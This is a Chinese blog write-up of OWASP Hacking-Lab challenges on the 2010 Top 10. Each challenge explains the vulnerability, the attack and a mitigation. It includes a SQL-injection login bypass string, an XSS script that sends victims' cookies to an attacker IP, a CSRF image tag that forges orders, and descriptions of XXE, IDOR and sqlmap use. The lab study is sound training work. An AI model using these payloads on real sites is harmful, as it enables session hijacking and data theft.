hacking-lab环境搭建及介绍请看这篇文章:OWASP Hakcing Lab在线漏洞环境
这里的实验写的是owasp 2010的top10实验
具体详见下图:
以下报告按照官网的要求写的,每一份报告需要三个部分,解释安全问题、解释你的攻击、解释缓解
6111 – OWASP 2010 – A1 SQL注入
提示:SQL注入是一种利用应用程序数据库层中发生的安全漏洞的技术。当用户输入被错误地过滤为嵌入在SQL语句中的字符串文字转义字符或用户输入没有强类型并因此意外执行时,存在漏洞。事实上,只要有一种编程或脚本语言嵌入到另一种语言中,就会出现更常见的漏洞类。
目标:
找出用户“hacker10”的信用卡详细信息。利用sql注入漏洞
解释安全问题:
由于未过滤sql字符导致的sql注入
解释你的攻击:
按照提示,密码存在SQL注入,试了一下万能密码,‘or ‘1’=’1入侵成功。
解释缓解办法:
过滤关键的字符,’ ” or and 等。
6112 – OWASP 2010 – A2 – 跨站点脚本
提示:由于采取了多项安全措施,Glockenemil-Shop可以防止窃听,会话猜测和会话固定。留下模仿受害者的唯一攻击手段是会话窃取。
目标:
偷走几张会议门票,以获得受害者特权的Glockenemil-Shop。这可以通过滥用Glockenemil的留言簿启动适当的跨站点脚本(XSS)攻击来完成。
解释安全问题:
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。
解释你的攻击:
1、这是一个XSS漏洞,那我们要找到可输入XSS的地方。
2、首先我们登录一个hacker11的账号,这个账号是攻击者账号。
3、购买一个商品,在商品评论处加入xss代码。
HELLO <script>var IP = "10.10.10.134"; new Image().src="http://" + IP + ":80/_INFO__" + escape(document.cookie ) + "__"</script>
4、开启apache日志,如果有人访问我,就会有相应的请求,这个请求带着用户的COOKIE
5、更换用户实验,我们用hacker12登录网站,然后在打开评论商品页面,观察一下相应的日志信息,已经获取到hacker12的cookie值
6、通过这串cookie登录hacker12
BCookie=xdNWHI2ujj5ZOuQLCXd4dQ==
7、发送cookie查看hacker12页面,登录成功
解释缓解:
过滤不安全的标签、实体化标签等。
6113 – OWASP 2010 – A3 身份验证和会话管理中断
提交过一个方案没通过,大家可以尝试一下。
6114 – OWASP 2010 – A4 不安全的直接对象引用
提示:
这种战争游戏的重点是验证如何为每个角色/特权实现授权模式以访问保留的功能/资源。对通过Web应用程序提供的功能和数据的访问基本上取决于委托的主体。确保正确检查此关系至关重要。否则,客户可能会访问外国帐户信息甚至高度机密的数据,从而导致绕过授权漏洞。
目标:
连接到易受攻击的战争游戏Web应用程序。使用给定的用户名/密码组合(hacker10:指南针或黑客11:罗盘,…)。阅读您自己的个人资料 尝试绕过配置文件的授权方案,而无需与其他用户重新进行身份验证。 如果您被认证为hacker10,请尝试阅读/披露hacker12的个人资料。
解释安全问题:
应用程序在做验证的时候,未验证用户的真实性,从而导致了直接的不安全对象引用缺陷。
解释你的攻击:
1、查看hacker11和hacker12的基本信息
2、尝试使用burpsuite 抓包 ,观察一下数据包内容,修改一下pid的内容发送数据包
3、发现hacker12的基本信息变更为hacker11的。
解释缓解:
设置加密的用户对象ID。
在接收用户对象时,验证登录的用户和实际的用户对象是否一致。
6115 OWASP A5 – 跨站请求伪造
提示:
跨站点请求伪造,也称为一键式攻击或会话骑行,缩写为CSRF或XSRF,是一种恶意利用网站,从而从网站信任的用户传输未经授权的命令。
目标:
换回Glockenshop并验证您的最后订单。
解释安全问题:
1、这是一个CSRF的漏洞,全称跨站请求伪造,也就是说攻击者可以通过某些手段在用户不知情的情况下发起攻击伪造用户的请求。这是因为在提交请求的时候没有验证用户的身份产生的。
解释你的攻击:
1、user:使用firefox登录我们用户hacker10,尝试购买一些商品
2、user:我们在hacker10的商城订单
3、hacker:我们尝试添加一个商品,抓包分析商品添加的情况,分析了一下productId=2 这个表示的商品的ID,quantity=2这个表示商品的数量
4、hacker:我们尝试伪造一个html,这个html的内容为
<img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=6&quantity=5&Submit=Order" />
5、hacker:发送给用户html页面
6、user:打开html页面
7、user:看到自己的订单里多了商品
解释缓解:
1、在表单提交里面加一个token,并且保证token不可预测性。
2、设置同源策略,在不同源的情况下,不能完成相关的操作。
3、可以设置一个验证码提交
6116 OWASP A6 – 安全配置错误
提示:
XXE(Xml eXternal Entity)攻击是对应用程序的攻击,该应用程序使用错误配置的XML解析器解析来自不受信任来源的XML输入。可以强制应用程序打开任意文件和/或TCP连接。
目标:
找出数据库连接属性(MySQL用户名和密码)。(/ opt / applic /的子目录中的mysql.properties)
解释安全问题:
XML外部实体注入,实际上就是没有过滤掉不可信的操作导致的一个问题,没有限制XML解释器接受的内容,导致XML解析了读取文件的相关操作。
解释你的攻击:
1、我们找到这个页面,观察了一下只有两个参数。
2、通过抓包我们修改XML的内容,加上system file:代码,然后通过Repeater观察返回包的情况,发现了XML注入后返回的内容
解释补救:
1、使用开发语言提供的禁用外部实体的方法
2、过滤用户提交的XML数据
6117 – OWASP 2010 – A7 不安全的加密存储
提示:
SQL注入是一种利用应用程序数据库层中发生的安全漏洞的技术。当用户输入被错误地过滤为嵌入在SQL语句中的字符串文字转义字符,或者用户输入没有强类型并因此意外执行时,就会出现此漏洞。事实上,只要有一种编程或脚本语言嵌入到另一种语言中,就会出现更常见的漏洞类。
目标:
披露所有注册用户的所有信用卡号码。使用以下Web应用程序。
披露所有mysql用户表,帐户,密码
解释安全问题:
这是一个由sql注入导致的问题,注入到数据库以后,发现用户名、密码和相关的数据,其中密码是明文的,这样会导致系统被入侵以后,直接导致账户密码泄露。
解释你的攻击:
1、找到搜索商品的注入点。
2、使用sqlmap跑出相关的数据
解释缓解:
1、过滤关键的字符串,补救sql注入
2、密码设置加密的形式,可以使用MD5加密。
6118 – OWASP 2010 – A8 无法限制URL访问
提示:通常,对URL的唯一保护是指向该页面的链接不会呈现给未经授权的用户。但是,有动力,技术熟练或仅仅是幸运的攻击者可能能够找到并访问这些页面,调用函数和查看数据。
目标:
找到隐藏的管理员链接并获取完整的信用卡交易列表。
默默无闻的安全性不足以保护应用程序中的敏感功能和数据。必须在授予对敏感功能的请求之前执行访问控制检查,这可确保用户有权访问该功能。
解释安全问题:
这是由于不安全的链接访问导致的,由于没有验证用户的链接ID,导致直接获取了其他用户的信息
解释你的攻击:
1、找到这个链接,看到有个faction pay什么的,感觉像是订单信息。尝试访问了一下。
2、发现是要登录的,然后我们登录后,跳转到这个billing address页面。我们点击edit编辑一下页面
3、看到个人信息的页面,发现hacker11的个人信息
4、我们尝试修改pid,发现了hacker13的信息。
解释缓解:
1、验证链接的可信程度,验证pid=2的用户是否是hacker11登录的。不同的用户只能访问自己的信息6119 – OWASP 2010 – A9 传输层保护不足
6120 – OWASP 2010 – A10 未经验证的重定向和转发
后面两题没做,不是很理解想要实现什么,有解决的大佬,可以交流一下。
这些题目的难度并不高,有趣的地方在于整个写报告的过程
这个通关的方法还需要通过撰写官方要求的文档,提交后由平台审核。
这些文档必须是全英文的文档,一般都是老外审核。
*本文作者:Rogerd,转载请注明来自FreeBuf.COM
来源:freebuf.com 2018-12-13 10:00:57 by: Rogerd
请登录后发表评论
注册